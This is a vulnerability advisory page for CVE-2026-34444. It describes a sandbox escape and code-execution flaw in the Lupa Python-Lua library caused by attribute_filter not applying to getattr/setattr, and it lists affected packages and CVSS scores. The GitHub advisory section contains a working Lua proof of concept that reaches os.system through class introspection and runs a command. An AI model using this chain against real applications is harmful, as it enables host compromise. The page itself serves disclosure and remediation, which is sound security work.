7.9high
Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr
- Severity
- 7.9high CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.65% (higher than 52% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-69v7-xpr6-6gjmPYSEC-2026-2613
Description
Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| scoder lupa | <= 2.6, up to 2.6 | CVE List, NVD |
| satellite/foreman-mcp-server-rhel9 | Not specified Not affected: from 1780492008 before * | CVE List |
| rhoai/odh-pipeline-runtime-datascience-cpu-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-pipeline-runtime-minimal-cpu-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-pipeline-runtime-pytorch-cuda-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-pipeline-runtime-pytorch-rocm-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-pipeline-runtime-tensorflow-cuda-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-pipeline-runtime-tensorflow-rocm-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-codeserver-datascience-cpu-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-datascience-cpu-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-minimal-cpu-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-minimal-cuda-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-minimal-rocm-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-pytorch-cuda-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-pytorch-rocm-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-tensorflow-cuda-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-tensorflow-rocm-py312-rhel9 | Not specified | CVE List |
| rhoai/odh-workbench-jupyter-trustyai-cpu-py312-rhel9 | Not specified | CVE List |
| lupa (PyPI) | up to 2.6 | GitHub Advisory Database, PyPA Advisory Database |
All scores
| GitHub_M | 7.9high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H |
| redhat-SADP | 8.1high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 10.0high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H |
| NVD | 10.0critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| PyPA Advisory Database | 10.0critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| PyPA Advisory Database | Not scored CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H |
Classification
What each source says
CVE List
Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
GitHub Advisory Database
Summary
The attribute_filter in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.
However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
Details
The attribute_filter is meant to block access to attributes such as __class__, __mro__, and similar internal properties.
In practice, it only applies to direct attribute access:
obj.attr→ filteredgetattr(obj, "attr")→ not filtered Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.
An attacker can use getattr to-
- Access
__class__ - Walk the
__mro__chain - Call
__subclasses__() - Iterate over available classes
- Find a function that exposes
__globals__ - Retrieve something like
os.system
At that point, arbitrary command execution becomes straightforward.
This effectively breaks the security boundary that attribute_filter is expected to enforce.
PoC
The following example shows how the filter can be bypassed to execute os.system:'
import lupa
from lupa import LuaRuntime
def protected_attribute_filter(obj, attr_name, is_setting):
if isinstance(attr_name, str) and attr_name.startswith('_'):
raise AttributeError(f"Access to '{attr_name}' is forbidden")
return attr_name
lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)
class UserProfile:
def __init__(self, name): self.name = name
lua.globals().user = UserProfile("test")
lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr
local cls = getattr(user, "__class__")
local _, obj_cls = getattr(cls, "__mro__")
local subs = getattr(obj_cls, "__subclasses__")()
for _, c in ipairs(subs) do
if tostring(c):find("os._wrap_close") then
local system = getattr(getattr(c, "__init__"), "__globals__")["system"]
setattr(user, "run", system)
user.run("id")
end
end
""")
Impact
An attacker who can execute Lua code can:
- Bypass the
attribute_filter - Access Python internals
- Traverse the object graph
- Reach execution primitives
This leads to full sandbox escape and arbitrary command execution in the host Python process.
Any application relying on attribute_filter as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the register_builtins=False option.
NVD (es)
Lupa integra los entornos de ejecución de Lua o LuaJIT2 en CPython. En 2.6 y versiones anteriores, attribute_filter no se aplica de forma consistente cuando se accede a los atributos a través de funciones integradas como getattr y setattr. Esto permite a un atacante eludir las restricciones previstas y, finalmente, lograr la ejecución de código arbitrario.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-34444 changed 2026-07-15 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-69v7-xpr6-6gjm changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2026-34444 changed 2026-10-26 | Public domain |
| PyPA Advisory Database | PYSEC-2026-2613 changed 2026-07-13 | CC-BY-4.0 |